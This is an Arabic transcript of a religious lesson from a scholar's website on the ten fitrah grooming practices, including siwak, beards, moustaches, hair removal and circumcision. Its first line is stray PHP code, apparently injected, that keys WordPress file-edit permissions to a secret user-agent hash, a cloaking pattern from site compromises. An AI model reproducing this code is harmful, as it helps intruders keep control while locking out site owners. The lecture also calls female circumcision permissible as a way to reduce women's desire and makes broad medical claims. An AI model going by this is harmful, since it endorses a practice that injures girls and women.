if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } الدرس الخامس - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

الدرس الخامس

الحمد لله رب العالمين، والصلاة والسلام على أشرف الأنبياء والمرسلين نبينا محمد عليه أفضل الصلاة وأتم التسليم.

أما بعد، أيها الأخوة والأخوات سلام الله عليكم ورحمته وبركاته، وحياكم الله في هذا الدرس الخامس من شرح فصول الآداب ومكارم الأخلاق المشروعة للإمام «أبي الوفاء ابن عقيل الحنبلي» غفر الله له ولوالديه وللسامعين ووالديهم وعموم المسلمين، ذكر رحمه الله في الدرس الماضي فصولًا تتعلق بآداب المجالس والاستماع لأحاديث الناس بدون إرادتهم ومحبتهم، وكذلك ذكر طرفًا من آداب المشي والنهي عن الكبر والغرور والزهو ثم ذكر فصلًا يتعلق بالتغافل مما ينبغي التغافل فيه، واليوم نأتي للفصل السادس من فصول هذا الكتاب وهو يتعلق بخصال الفطرة.

قال رحمه الله:

فَصْلٌ

وَعَشَرَةٌ مِنَ الفِطْرَةِ خَمْسٌ فِي الرَّأْسِ وَخَمْسٌ فِي الجَسَدِ، فَالَّتِيْ فِيْ الرَّأْسِ: المَضْمَضَةُ، وَالاسْتِنْشَاقُ، وَالسِّوَاكُ، وَقَصُّ الشَّارِبِ، وَإِعْفَاءُ اللِّحْيَةِ، وَالَّتِيْ فِيْ الجَسَدِ: حَلْقُ العَاْنَةِ، وَنَتْفُ الإِبِطَيْنِ، وَتَقْلِيْمُ الأَظْفَاْرِ، وَالاسْتِنْجَاءُ وَالخِتَانُ.

قال رحمه الله: (وَعَشَرَةٌ مِنَ الفِطْرَةِ) الحديث ورد عشرٌ من الفطرة وهذا هو المستقيم لغةً، لكن يصح قوله: وَعَشَرَةٌ مِنَ الفِطْرَةِ على تقدير، يعني هذه أمورٌ عشـرة، أوصاف عشـرة، وأما الحديث فقد جاء بلفظ عشرٌ من الفطرة، ما المراد بالفطرة؟ الفطرة: ما جُبل الناس على حسنه، واتفقت على حسنه الأنبياء، وجُبلت الناس وفطرهم المستقيمة على حسنه، قال النووي رحمه الله في شرح صحيح مسلم: (وأما الفطرة فقد اخُتلف في المراد بها هنا، فقال أبو سليمان الخطابي: ذهب أكثر أهل العلم إلى أنها السنة، قالوا: والفطرة السنة، وكذا ذكره جماعة غير الخطابي، قالوا: ومعناه أنها من سنن الأنبياء صلوات الله وسلامه عليهم، وقيل: هي الدين) إذن نقول: الفطرة هي الدين، السنة، ما جُبل الناس على حسنه وأتت به الأنبياء لأممهم وتوافق مع الفطر السليمة.

قال رحمه الله: (وَعَشَرَةٌ مِنَ الفِطْرَةِ خَمْسٌ فِي الرَّأْسِ) جاء في صحيح مسلم من حديث أم المؤمنين عائشة رضي الله عنها قالت: قال رسول الله صلى الله عليه وسلم: «عشرٌ منَ الفطرةِ: قصُّ الشَّاربِ وإعفاءُ اللِّحيةِ والسِّواكُ واستنشاقُ الماءِ وقصُّ الأظفارِ وغسلُ البراجمِ ونتفُ الإبطِ وحلقُ العانةِ وانتقاصُ الماءِ»[1] قال زكريا، قال مصعب: ونسيت العاشرة إلا أن تكون المضمضة، زاد قتيبة قال وكيع: انتقاص الماء بمعنى الاستنجاء ونلحظ أن هذا الحديث مع أنه ورد فيه عشرٌ من الفطرة لم يرد فيه الختان، لكن في حديث أبي هريرة رضي الله عنه أن النبي صلى الله عليه وسلم قال: «الفِطْرَةُ خَمْسٌ الاخْتِتانُ، والاسْتِحْدادُ، وقَصُّ الشَّارِبِ، وتَقْلِيمُ الأظْفارِ، ونَتْفُ الإبِطِ»[2] إذن مجموع ما في الحديثين عشرٌ إذا قلنا بهذا العد لكن إذا عددنا الختان وأضفناه على العشر الأولى صار أكثر من ذلك، لكنا نقول إن الراوي لم يذكر الختان في حديث أم المؤمنين عائشة رضي الله عنها وذكر عشرًا سواها وشك الراوي في العاشرة التي قال: ونسيت العاشرة إلا أن تكون المضمضة لكنّ المضمضة جاءت صريحة في رواية من روايات الحديث، قال رحمه الله في بيان هذه العشر وقد جاءت في حديث ابن عباس رضي الله عنهما أنها أي هذه العشرأن هذه العشر هي الكلمات التي ابتلى الله بهن إبراهيم عليه السلام، قال ابن عباس رضي الله عنهما فيما رواه البيهقي بسندٍ صحيح في قوله تعالى: {وَإِذِ ابْتَلَى إِبْرَاهِيمَ رَبُّهُ بِكَلِمَاتٍ فَأَتَمَّهُنَّ} [البقرة: ١٢٤] قال: ابتلاه الله عزوجل بالطهارة: خَمسٌ في الرأسِ، وخمسٌ في الجَسَدِ [3]إذن تطابق هذا الحديث مع حديث أم المؤمنين عائشة رضي الله عنها وسار على ذلك المؤلف رحمه الله.

قال رحمه الله: (خَمْسٌ فِي الرَّأْسِ وَخَمْسٌ فِي الجَسَدِ، فَالَّتِيْ فِيْ الرَّأْسِ: الْمَضْمَضَةُ) المضمضة هي إدارة الماء في الفم وهي من فروض الوضوء ومن فروض الغسل على الصحيح، وقد سبق في درس العمدة -عمدة الفقه لابن قدامة- أن بيّنا أن المضمضة والاستنشاق من فروض الوضوء والغسل وإلى هذا ذهب الإمام أحمد، وذهبت المالكية والشافعية إلى أنهما سُنتان في الوضوء والغسل، وذهبت الحنفية إلى أنهما فرضان في الغسل وسُنتان في الوضوء، والصحيح أن المضمضة والاستنشاق فرضان في الوضوء والغسل؛ فإن الله جل شأنه أمر بغسل الوجه وهما في الوجه ظاهرًا، وقد بيّنا سابقًا كيف تكون في الوجه ظاهرًا وبيّنا أن ثمة أحكام خمسة تلزم المخالف؛ فإن الله جل شأنه وتقدس اسمه قال: {يَا أَيُّهَا الَّذِينَ آمَنُوا إِذَا قُمْتُمْ إِلَى الصَّلَاةِ فَاغْسِلُوا وُجُوهَكُمْ} [المائدة: ٦] والفم والأنف لها حكم الظاهر فتُغسل وجوبًا، والنبي صلى الله عليه وسلم وهو المفسر لآي الكتاب العزيز لم يُخل بالمضمضة والاستنشاق في وضوء قط، فكل من روى وضوءه ذكر أنه يتمضمض ويستنشق بل أمر بهما، قال: «إذا تَوضَّأتَ فمَضمِضْ»[4] [الحديث رواه أبو داود بسندٍ صحيح] وأمر بالاستنشاق وأمر بالمبالغة فيه لغير الصائم، وكذلك في الغسل يقول ربنا جل شأنه: {وَإِنْ كُنْتُمْ جُنُبًا فَاطَّهَّرُوا} [المائدة: ٦] ولهذا الحنفية قالوا: إنها تدل على فرضية المضمضة والاستنشاق في الغسل، وقلنا هناك: إن آية الوضوء أدل على وجوب المضمضة والاستنشاق في الوضوء من قوله تعالى: {وَإِنْ كُنْتُمْ جُنُبًا فَاطَّهَّرُوا} ومع ذلك ذهب بعض المتأخرين من أهل العلم إلى التفريق ليس كما يقول الحنفية بل عكس كلام الحنفية فيقولوا: إن المضمضة والاستنشاق من فروض الوضوء وسنن الغسل، والصحيح خلاف ذلك.

قال رحمه الله: (وَالاسْتِنْشَاقُ) الاستنشاق هو جذب الماء بالنفس إلى أقصـى الخياشيم ثم نثره وهما متلازمان، فيستنشق ثم يستنثر، وما قيل في المضمضة يُقال في الاستنشاق من حيث الحكم وأنها فرض في الوضوء وفرض في الغسل إلا أن الاستنشاق جاء الأمر به أيضًا عند القيام من النوم ولو لم يتوضأ، لكن إذا توضأ أجزأ عن ذلك، لكن إن قام من النوم ولم يتوضأ فإن السنة أن يستنثر، أن يستنشق ويستنثر فإن الشيطان يبيت على خياشيمه كما جاء في الحديث الصحيح.

قال رحمه الله: (السِّوَاكُ) السواك من سنن الوضوء، ومر أيضًا في العمدة بيانه وأنه من سنن الوضوء وأنه متأكدٌ جدًا، وقد ورد في السواك أكثر من مائة حديث، والسواك إذا أُطلق يطلق على العود نفسه الذي يُسمى المسواك، يسمى سواكًا ومسواكًا ويُطلق على الفعل الذي هو الاستياك أي دلك الفم بالعود لإزالة نحو تغير، فهو أي السواك يُطلق على العود الذي يُستاك به ويُطلق على الفعل الذي هو التسوك، ذكر العلامة ابن القيم رحمه الله جملة كبيرة من فوائد السواك، من تأملها علم كيف حرصت هذه الشريعة المطهرة على تنظيف الفم والأسنان واللثة إذ هي أعظم ما يحصل به صحة الجسد، فصحة الفم تعني صحة الجسد وكلما اعتنى المسلم بأسنانه ولسانه ولثته ونظفها سواءً في المواضع التي وردت بها السنة أو عموم الأحوال كان أصح جسدًا، إذا صح فمه صحت صحته العامة، قال ابن القيم رحمه الله: (يُطيِّب الفم، ويشد اللِّثَةَ، ويقطع البلغم، ويجلو البصرَ، ويُذهب بالحَفَر، ويُصحُّ المَعِدَة، ويُصفِّي الصوت، ويُعين على هضم الطعام، ويُسَهِّل مجاري الكلام، ويُنَشِّطُ للقراءة، والذِّكر والصلاة، ويطرُد النوم، ويُرضي الرَّبَّ، ويُعْجِبُ الملائكة، ويُكثر الحسنات)[5] انتهى كلامه رحمه الله في زاد المعاد، وقد سبق أن فيه أكثر من مائة حديث، لو لم يرد فيه إلا قول النبي صلى الله عليه وسلم: «السِّواكُ مَطهَرةٌ للفمِ مرضاةٌ للرَّبِ»[6] لو لم يرد إلا هذا الحديث لكفى فكيف وفيه أكثر من مائة حديث، هذا الحديث رواه البخاري معلقًا بصيغة الجزم وصححه ابن خزيمة وابن حبان، أخرجه جمعٌ من الأئمة كالإمام أحمد والنسائي والدارمي والشافعي والبغوي والبيهقي، فهو حديث صحيح، مَطهَرةٌ للفمِ مَطهَرةٌ للفمِ هذا يشترك فيه المسلم والكافر والبر والفاجر و مرضاةٌ للرَّبِ لا يحصلها إلا أهل الإيمان، ولهذا نقول: يعتني المسلم بالسواك تنظيفًا لفمه وتطهيرًا له وتحصيلًا لما هو أعظم من ذلك وهو مرضاة الرب، هل يصيب السنة من استاك بأصبعه أو بخرقة أو بفرشاة الأسنان؟ اختلف أهل العلم في هذه المسألة على ثلاثة أقوال:

القول الأول: أنه لا يُصيب السنة مطلقًا، يعني من تسوّك بخرقة أو أصبعه أو فرشاة الأسنان فإنه لا يصيب السنة وهو مذهب الشافعية والحنابلة، قالوا: لأن الشرع لم يرد بذلك؛ ولأنه لا يحصل الإنقاء به كالعود، والوجه الثاني عندهما: أي الشافعية والحنابلة، أنه يصيب السنة، والقول الثالث: وهو مذهب الحنفية والمالكية، أنه إن لم يقدر على عودٍ أصاب السنة وإلا فلا، يعني إن كان عاجزًا عن وجود السواك أصاب السنة بقدر ما حصّل من الإنقاء وإلا فلا، يعني مسلمٌ متوفرٌ السواك لو أراده، يجده لكنه أعرض عنه، قال: يكفيني فرشاة الأسنان، نقول: يكفيك فرشاة الأسنان في تطهير فمك وتنظيفه لكن السنة تركتها وأنت تقدر عليها فلا تصيبها ولا تحصلها، واختار ابن قدامة رحمه الله وابن أبي عمر أنه يصيب السنة بقدر إزالته، إذن الصحيح أنه إذا عجز عن السـواك فلا أقـل من أن ينظف أسنانـه بما تيسر من خرقة أو منديل أو أصبعه أو فرشاة الأسنان، لكن يحذر من ترك السواك اعتمادًا على أن فرشاة الأسنان تكفي.

من المسائل التي ذكرها أهل العلم، مسألة السواك للصائم وذكروا فيها خلافًا، والصحيح أنه يُسن للصائم أن يستاك أول النهار وآخره بعود رطب أو يابس ولا حرج، خلافًا لمن ذهب أنه يكره بعد الزوال في فرض الصيام ونفله وهو المشهور في مذهب الشافعية والحنابلة لكن الرواية الثانية عن الإمام أحمد استحباب السواك في حق الصائم في فرض الصيام ونفله بالرطب واليابس وهو مذهب الحنفية وجمع من المحققين واختاره شيخ الإسلام وابن القيم وغيرهم كثير ويدل عليه عموم النصوص، ومن اشهرها قول النبي صلى الله عليه وسلم: «السِّواكُ مَطهَرةٌ للفمِ مرضاةٌ للرَّبِ» ولأنه أُمر بالسواك عند الوضوء وعند الصلاة، وصلاة الظهر والعصر تأتي بعد الزوال، وأما ما احتج به المانع فحديث ضعيف «إذا صُمتُم فاستاكوا بالغَداةِ، ولا تستاكوا بالعَشِيِّ»[7] فحديثٌ ضعيف ولا يزيل أثر الخلف بل يخففه لكنه يحصل أعظم مقصودٍ وهو مرضاة الرب.

متى يتأكد السواك؟ يتأكد في حالات: عند الوضوء، وعند الصلاة، ولهذا ذكره أهل العلم من سنن الوضوء ومن سنن الصلاة، وفي حديث أبي هريرة رضي الله عنه أن النبي صلى الله عليه وسلم قال: «لَوْلَا أنْ أشقّ على أمّتِي لأمرتُهم بالسواكِ عند كلّ صلاةٍ»[8] [الحديث متفقٌ عليه] وفي روايةٍ للإمام أحمد «لأمرتُهُم بالسِّواكِ معَ كلِّ وضوءٍ»[9]، وللبخاري تعليقًا بصيغة الجزم: «السِّواكِ عندَ كلِّ وضوءٍ»[10] إذن يُسن للمسلم أن يتسوك عند الوضوء، قالوا: ومحله عند المضمضة فيجتمع الماء مع السواك لينظف الأسنان واللثة واللسان، ثانيًا: عند الصلاة أي قبل الشروع فيها، وقد سبقت الإشارة إلى دليله وهو ما خرجه البخاري ومسلم من قوله صلى الله عليه وسلم: «لَوْلَا أنْ أشقّ على أمّتِي لأمرتُهم بالسواكِ عند كلّ صلاةٍ» فيُسن للمسلم قبل أن يشرع في الصلاة أن ينظف فاه، ثالثًا: عند الاستيقاظ من النوم: سواءً كان نوم ليلٍ أو نوم نهارٍ على الصحيح؛ لحديث حذيفة رضي الله عنه في الصحيحين: «كانَ النبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ إذَا قَامَ مِنَ اللَّيْلِ، يَشُوصُ فَاهُ بالسِّوَاكِ»[11] أي يدلك فاه بالسواك، وهذا يدل على شرعية السواك عند التغير سواءً لنومٍ أو لطول سكوتٍ أو اصفرار أسنان أو أكل أو شربٍ له رائحة، رابعًا: عند دخول المنزل: لحديث أم المؤمنين عائشة رضي الله عنها «أنَّ النبيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ كانَ إذا دَخَلَ بَيْتَهُ بَدَأَ بالسِّواكِ»[12] [الحديث رواه الإمام مسلم]، هل يُقاس على ذلك المسجد؟ قاله بعض أهل العلم لكن الصحيح أنه لا قياس، إذ دخل النبي صلى الله عليه وسلم المسجد ما لا يُحصى ولم يرد عنه صلى الله عليه وسلم أنه تسوك عند الدخول، فيبقى أنه يتسوك إذا أراد أن يُصلي، إذا دخل والناس يُصلون فيتسوك حتى يصل الصف وسواكه حينئذٍ ليس لدخول المسجد وإنما للصلاة، كما يُسن ويتأكد أيضًا وهو الموضع الخامس: عند قراءة القرآن؛ لحديث: «فَطَهِّرُوا أَفْوَاهَكُمْ لِلْقُرْآنِ»[13] [أخرجه البزار بإسنادٍ جيد]، إذن هذه حالات يتأكد فيها السواك.

من السنة أن يستاك عرضًا بالنسبة لأسنانه وطولًا للسانه، فإن السواك للأسنان واللثة واللسان، يتسوك في أسنانه عرضًا، قالوا: لأن الاستياك طولًا يضـر اللثة ويدميها ويفسد منابت الأسنان، وأما اللسان فإنه يستاك بطوله لحديث أبي موسى رضي الله عنه قال: «دَخَلْتُ عَلَى رَسُولِ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ وَهُوَ يَسْتَاكُ وَهُوَ وَاضِعٌ طَرَفَ السِّوَاكِ عَلَى لِسَانِهِ يَسْتَنُّ إِلَى فَوْقَ»[14] [رواه البخاري]، السنة أن يكون السواك باليد اليسرى على أسنانه ولثته ولسانه، قالوا: لأن السواك من باب إماطة الأذى وهذا هو المشهور في المذهب عند الحنابلة وهو الصحيح، وذهبت الحنفية والمالكية إلى أنه يتسوك بيمينه، قالوا: لأن النبي صلى الله عليه وسلم كان يعجبه التيمن، وذهب بعض الحنفية إلى التوسط فقالوا: إن قصد العبادة فباليمنى وإن قصد إزالة الأذى فباليسرى، والصحيح أنه يتسوك باليسرى كما قرر ذلك وحققه شيخ الإسلام رحمه الله لكن لا يُنكر على من تسوك بيمينه، إنما إذا قال ما الأفضل؟ ما السنة؟ ما الأقرب؟ نقول: تسوك بيسراك، ويبتدأ بجانب فمه الأيمن استحبابًا بلا خلاف، إذن ينظف جانب فمه الأيمن قبل الأيسر بلا خلافٍ؛ لأنه صلى الله عليه وسلم «كانَ يُعْجِبُهُ التَّيَمُّنُ، في تَنَعُّلِهِ، وتَرَجُّلِهِ، وطُهُورِهِ، وفي شَأْنِهِ كُلِّهِ»[15] غير ما يستقذر كما تقدمت القاعدة في بيان استحباب التيامن فيما كان من باب التحسين وما كان ضده فإنه يُستحب فيه التياسر كما قال النووي رحمه الله: قاعدة الشرح المستمرة استحباب التيامن فيما كان من باب التحسين والتجميل واستحباب التياسر فيما كان ضد ذلك.

قال رحمه الله: (وَقَصُّ الشَّارِبِ) وقد جاءت السنة في الشارب بالإنهاك، جاء قص الشارب، وحف الشارب، وجز الشارب، وإنهاك الشارب، فدلت مجموع هذه النصوص على أن السنة المبالغة في حفه، ما هو الحف؟ قالوا: أن يحف حتى تبدو الشفة والإحفاف: أن يقصه فيحفيه كله وأيًا فعل فإن ذلك صحيحٌ وسنة، لكن هل يصل بالحف إلى الحلق؟ نقول: لا، إذ لم يرد الحلق، ولو أراده صلى الله عليه وسلم لذكره بل ذكر الإمام مالك رحمه الله أن حلقه مثلة، بل قال: ينبغي أن يُعزّر فاعله، يؤدب، لكن نقول: ما يحتاج أن يؤدب لأن الذي يفعله يحسب أن السنة في الحلق، إذن السنة في الشارب المبالغة في الجزّ بأن يقص على أقل درجة ممكنة لكن لا يحلقه بالموس ونحوه لأن النصوص وردت فيه بالمبالغة في الحف، قال: حفوا، جزوا، أنهكوا، أحفوا، فدل ذلك كله على المبالغة في إزالته وذلك مراعاة للنظافة والطهارة؛ فإن الشارب إذا طال استُقبح وربما وصل هذا الشعر إلى الفم وإلى الطعام والشراب فاستقذره هو واستقذره من يشرب بعده، وهذه كلها في خصال الفطرة متحققة أي النظافة وكونها على أحسن صورة، ولذلك صارت سنن فطرة، الفطرة السليمة تألف ذلك وأما ما يفعله بعض الناس من إطالة الشوارب والافتخار بها وكأنها من الرجولة فهذا من نقص عقلٍ وتفكير وإلا فكيف يُقال إن طول الشارب مرجلةٌ ورجولة، نقول: سبحان الله، النبي صلى الله عليه وسلم يقول: حفوا، جزوا، قصوا، أنهكوا، ويأتي من يقول طوال الشوارب ويفتخر بطول الشارب، نقول: طول الشارب نقصٌ في دينك وعقلك، لو كان دينك كاملٌ وعقلك كذلك لم تُطل الشارب وأنت تعلم أن النبي صلى الله عليه وسلم أمر بجزه وقصه والمبالغة في ذلك، وإذا زاد على أربعين يوم حرُم كما سيأتي، وقد يقبح أحيانًا قبل الأربعين، لكنا نقول: إلى الأربعين حدٌ أقصى في نتف الإبط وقص الشارب وتقليم الظفر وحلق العانة.

قال رحمه الله: (وَإِعْفَاءُ اللِّحْيَةِ) اللحية: اسم لما ينبت على اللحي والذقن وهو مجمعه وقد سبقت الإشارة إلى ذلك وأن أهل العلم مجمعون على أن حلق اللحية محرم، حكاه غير واحد كابن عبدالبر وشيخ الإسلام، والنصوص في اللحية كالنصوص في الشارب، في المبالغة في الترك، هناك مبالغةٌ في الجزّ والقص والحفّ، وهنا مبالغةٌ في الترك، قال صلى الله عليه وسلم: أعفوا اللحى، أرخوا اللحى، أرجوا اللحى، أكرموا اللحى، فدلت النصوص مجتمعة على أن المقصود ترك اللحى وعدم التعرض لها، إذن أمر بالإرخاء والإكرام والإعفاء والإرجاء، كلها نصوصٌ صحيحة تدل على أن مقصود الشارع ترك اللحية وعدم التعرض لها بقصٍ ولا نتفٍ ولا تهذيبٍ ولا تشذيبٍ كما كان صلى الله عليه وسلم يفعل وجلُ أصحابه، أما من يحلقها فقد فعل محرمًا وقد يصل هذا التحريم إلى الكبيرة لأنه مُصر، الذين ابتلوا بحلق لحاهم مصرون ومجاهرون ويفعلونها في السنة ربما خمسين مرة أو تزيد، إذا حلق كل أسبوع معناه خمسين مرة يأتي بهذه المعصية وهذا يحيلها إلى كبيرة مع الإصرار والمجاهرة لكن الذين يقصون ربما احتج بعضهم بفعل ابن عمر رضي الله عنه وهو أصح من ورد عنه القص لكن ابن عمر إنما فعله في النسك، كان إذا حجّ أخذ لحيته وقبضها بيديه فجزّ ما زاد يتأول أن ذلك من النسك وهو اجتهادٍ منه رضي الله عنه يُثاب عليه لكن لا يُتابع عليه؛ لأنه الذي روى عن النبي صلى الله عليه وسلم: «خالفوا المشركين، أعفوا اللحى وجزوا الشوارب»[16] ومن ثم فإنه إذا اختلف ما رأى الراوي بما روى فالعبرة بما روى لا بما رأى ثم كيف لمسلمٍ وطالب علمٍ أن تأتيه النصوص الواضحة في الأمر بالإعفاء والإرخاء والإكرام وعدم الأخذ ويعلم سنة النبي صلى الله عليه وسلم المستفيضة أنه لم يأخذ من شعر لحيته قط وأنه حج مرةً واعتمر أربع مرات ولم يأخذ من شعر لحيته ثم يقول أفعل كفعل ابن عمر رضي الله عنهما، نقول: كيف تفعل فعل ابن عمر رضي الله عنهما والنبي صلى الله عليه وسلم لم يفعل، إذا كان النبي صلى الله عليه وسلم وهو المشرع فإنه لا يجوز لأحد أن يخالف هدي النبي صلى الله عليه وسلم ولا شريعته ولا سنته لقول قائلٍ مهما كان حتى لو كان أبو بكر وعمر رضي الله عنهما ولهذا كان ابن عباس رضي الله عنهما يشدد على الصحابة لما قالوا: قال أبو بكر، قال: يوشك أن تسقط عليكم حجارة من السماء، أقول قال الله وقال رسوله، وتقولون قال أبو بكر قال عمر، فليس لأحدٍ كائنًا من كان أن يقول شيئًا بعد قول النبي صلى الله عليه وسلم، لكن من اجتهد كهؤلاء الصحابة الذين رُوي عنهم الأخذ كابن عمر أو أبي هريرة أو غيره، نقول: هؤلاء مجتهدون يُثابون لكن لا يُتابعون ومن استبانت له السنة واتضحت فإنه لا يجوز له أن يتابع غير النبي صلى الله عليه وسلم لأن قول الصحابي لا يكون حجة عند القائلين بحجيته إلا إذا سلم من المعارض الأقوى والمساوي، الأقوى: هو حديث النبي صلى الله عليه وسلم المرفوع، والمساوي: قول الصحابي، نقول: جلُ الصحابة، أكثر الصحابة بالآلاف تعدهم لا تجد أنهم يأخذون شيئًا من لحاهم، فنتتبع الذين أخذوا ونترك سنة النبي صلى الله عليه وسلم الهادي البشير وسنة الخلفاء الراشدين والصحابة المهديين وهم الأكثر والتابعين وتابعيهم بإحسان والأئمة المعتبرين على مر الدهور والعصور، لا شك أن ذلك خلاف الواجب على طالب العلم خاصة وعلى المسلم عامة.

قال رحمه الله: (وَالَّتِيْ فِيْ الجَسَدِ: حَلْقُ العَاْنَةِ) الشعر الذي ينبت حول القُبل للرجل أو المرأة، جاء فيه الاستحداد أي إزالته بالحديدة أي الموس وهذا أبلغ في الإزالة، ولم يرد فيه النتف لأن ذلك يضعفه بخلاف الإبط فإنه أُمر فيه بالنتف، حلق العانة من خصال الفطرة، ويُلحق بما نبت حول القُبل ما نبت حول الدبر، فما ينبت حول الدُبر ملحقٌ به، أما بقية أشعار الجسد كما ينبت في الصدر وفي الفخذين وفي الساقين وربما في الذراعين فهذا مما سكت عنه الشارع، إن تركه لا حرج وإن أخذه لا حرج إلا أن تركه أولى لأن الشعر كلما أُخذ زاد ونما وغَلُظ ومن تركه فإنه لا يشعر به لكن لو قال: هل يَحرُم علي أن آخذه؟ نقول: لا يحرم؛ لأن هذا مما سكت عنه الشارع وما سكت عنه الشارع فهو عفو، الشارع أمر في اللحية بالإعفاء، وأمر في الشارب بالقص والجز والإنهاك، وأمر في العانة بالحلق، وأمر في الإبط بالنتف، وسكت عن شعر الرأس، وسيأتي الكلام عليه، وسكت عن بقية الشعور، فالأمر فيها سائغٌ أخذًا وتركًا.

قال رحمه الله: (وَنَتْفُ الإِبِطَيْنِ) مفردها إبط وهو باطن المنكب، أسفل المنكب، وجاء النص فيه بالنتف؛ لأن النتف يزيله من جذوره وهو القلع، وإذا قُلع من جذوره فإنه لا ينبت سريعًا ويكون ضعيفًا لا يشتد وتكون رائحته أخف وأقل بخلاف ما إذا حُلق فإنه ينبت بسرعـة ويكون شعره غليظًا وتكون رائحته كريهة لكن ليس كل أحدٍ بمقدوره ذلك، يُحكى عن الإمام الشافعي رحمه الله أنه كان يحلقه، فلما دخل عليه أحد طلابه قال: أعلم أن نتفه سنة لكني لا أقوى عليه، إذن نقول: بعض الناس ما يقوى وخصوصًا من اعتاد الحلق قد يصعُب عليه لكن من كان من بدايته ينتفه لا أيسر منه ولا أسهل مع التعود وفيه هذه المصالح؛ فإنه إذا نتفه من جذوره وقلعه ما ينبت سريعًا ولا يكون غليظًا ولا تكون رائحته كريهة.

قال رحمه الله: (وَتَقْلِيْمُ الأَظْفَاْرِ) أي أخذ ما زاد على اللحم ويسمى المقطوع قُلمة، وترك الأظفار يشوه الشكل ويشبه الآدمي بالحيوانات ذوات المخالب ونحوها ومن ثم فلا يليق بالرجل ولا المرأة من أهل الإسلام أن يطيل أظفاره جميعًا ولا أن يطيل شيئًا منها، قالوا: إلا عند الحاجة كإطالة ظفرٍ لحاجةٍ يحتاجها، أما لأن يكون مجرد زينة أو تشبهٌ فإن هذا ممنوعٌ منه شرعًا ومنهيٌ عنه.

قال رحمه الله: (وَالاسْتِنْجَاءُ) مر بنا أنه من شرائط الوضوء، أن ينقطع الحدث وأن يستنجي أو يستجمر، والاستنجاء من النَّجْوُ وهو القطع أو من العذرة وتسمى نجو فيزيلها، إذا أُزيل الخارج من السبيل بالماء سُمي استنجاءً، وإذا أُزيل بالحجارة أو المنديل أو التراب سُمي استجمارًا، وقد يُطلق أحدهما على الآخر، والحاصل أنه لابد أن يستنجي المسلم وينظف المحل ولا يحل له أن يشرع في الوضوء إلا إذا فرغ من الاستنجاء ونظّف المكان.

قال رحمه الله: (وَالخِتَانُ) ختم بالختان وهو إزالة القُلفة من أعلى الذكر، وتسمى القلفة وتسمى الغرلة، هذه مما اختلف فيها أهل العلم على أقوال: فمن أهل العلم من قال إن الختان واجبٌ في حق الرجال والنساء على حدٍ سواء وهو مذهب الشافعية والحنابلة، القول الثاني عند الحنابلة أنه واجبٌ في حق الرجال، سنةٌ في حق النساء، والحنفية والمالكية يقولون سنة في حق الرجال والنساء، والصحيح أنه واجبٌ في حق الرجال وأن النبي صلى الله عليه وسلم عدّه من خصال الفطرة وأمر به وأول من اختتن إبراهيم عليه السلام، وقد أُمرنا باتباع ملته وشريعته، وقد اختتن عليه وعلى نبينا أفضل الصلاة وأتم التسليم وهو ابن ثمانين سنة، متى يُسن الختان؟ يُسن عند الولادة، وكلما كان في الصِغر كان أفضل لأنه أسرع في البُرء وأكمل في الطهارة لكنه يجب عند البلوغ، قيل لابن عباس رضي الله عنهما: كم كان عمرك عند وفاة النبي صلى الله عليه وسلم؟ قال: كنت مختونًا، وكانوا لا يختنون الرجل حتى يدرك يعني يبلغ أو يقارب البلوغ لكن هذا واجب، إذا بلغ وجب بل يجب على الصحيح كما حقق ذلك ابن القيم رحمه الله على الولي أن يختن ابنه قبل أن يبلغ لكنه إذا ختنه في الصغر كما هو حال الناس اليوم من الولادة أو في اليوم السابع كان أكمل وأسرع بُرءًا وليكبر وينشأ على الطهارة، إذا لم يختتن فإن هذا يضره في طهارته؛ لأن هذه القُلفة التي تعلو الذكر وتعلو الحشفة إذا لم تُزل يبقى أثرٌ من البول ومن النجاسة لا يُزال، وهي سبب للالتهاب وللاحتراق كما يقولون وسببٌ لسرطان القضيب اليوم، ثبت، وسبب لسرطان الرحم عند معاشرة الزوجة زوجًا غير مختون، فما أحسن هذا الدين وما أكمله! الذي جاء بهذه الخصال كلها.

أما المرأة فيدور بين المكْرُمة أو السنة أو الجواز وهو أقرب؛ لأن ختان المرأة المصلحة فيه تعود إلى تخفيف شهوتها وغُلمتها وهو أخذ شيءٍ، قطع شيءٍ من الجلدة التي تكون فوق الفرْج، مصلحته وفائدته أن يخفف شهوتها، هذا يتفاوت فيه المجتمعات، فمجتمعات تحرص عليه ويجعلونه كختان الذكر ومجتمعات لا يُعرف فيها كما هو عندنا اليوم، ولهذا نقول: هو جائز، ليس بواجب ولا حتى مسنون على الصحيح.

من فوائد هذه الخصال التي جاءت بها الشريعـة: النظافة العامة، فتلحظون أنها كلها مرتبطةٌ بالنظافة والتهذيب وحسن الهيئة والصورة، فالختان، قطع هذه الجلدة التي فوق الحشفة فوائده عظيمة، نظافة ووقاية من الأنتان ووقاية من التهاب الإحليل الذي يسبب عسر التبول والتهاب المهبل عند معاشرة غير المختون للزوجة، وفي قص الشارب كذلك وقاية من تلوث المطعم والمشرب بالشارب وقبح الصورة عند أهل الإسلام وأما من زُين له سوء عمله فإنه يراه حسنًا:

يُقْضـَى عَلَى المَرْءِ فِي أَيَّامِ مِحْنَتِهِ      حَتَّى يَرَى حَسَنًا مَا لَيْسَ بِالحَسَنِ

الذي يحلق لحيته ويطيل شاربه يحسب أنه حسنًا، والله الذي لا إله غيره أنه قبيح ولو لم يكن فيه إلا قبح مخالفة الشريعة، ولهذا كانت أم المؤمنين عائشة رضي الله عنها إذا أرادت أن تقسم قالت: والذي زيّن الرجال باللحى والنساء بالذوائب، فالقبح مرده إلى الشرع، الشارع اعتبر هذه الهيئة قبيحة فينبغي أن يتخلص منها، كما أن في إعفاء اللحية وتخليلها عند الوضوء كمالٌ ونظافة، وفي نتف الإبط مساهمة في الوقاية من الأمراض والالتهاب  في هذا الموضع وتحسس الجلد الذي يكون في هذا الموضع لا سيما مع العرق وشدة الحر، وفي حلق العانة مساهمة في التخلص من عدة أمراض، قالوا: كقُمل العانة الذي يصاب به كبار السن وينتقل عن طريق العلاقات الجنسية وكذلك الإفرازات النتنة والنزف والالتهابات، وفي تقليم الأظفار مساهمة في الوقاية من الأمراض التي تنتقل عن طريق الجراثيم التي تتجمع تحت الأظفار الطويلة لا سيما عند الاستنجاء، ويتأمل الإنسان إذا كانت أظفاره طويلة 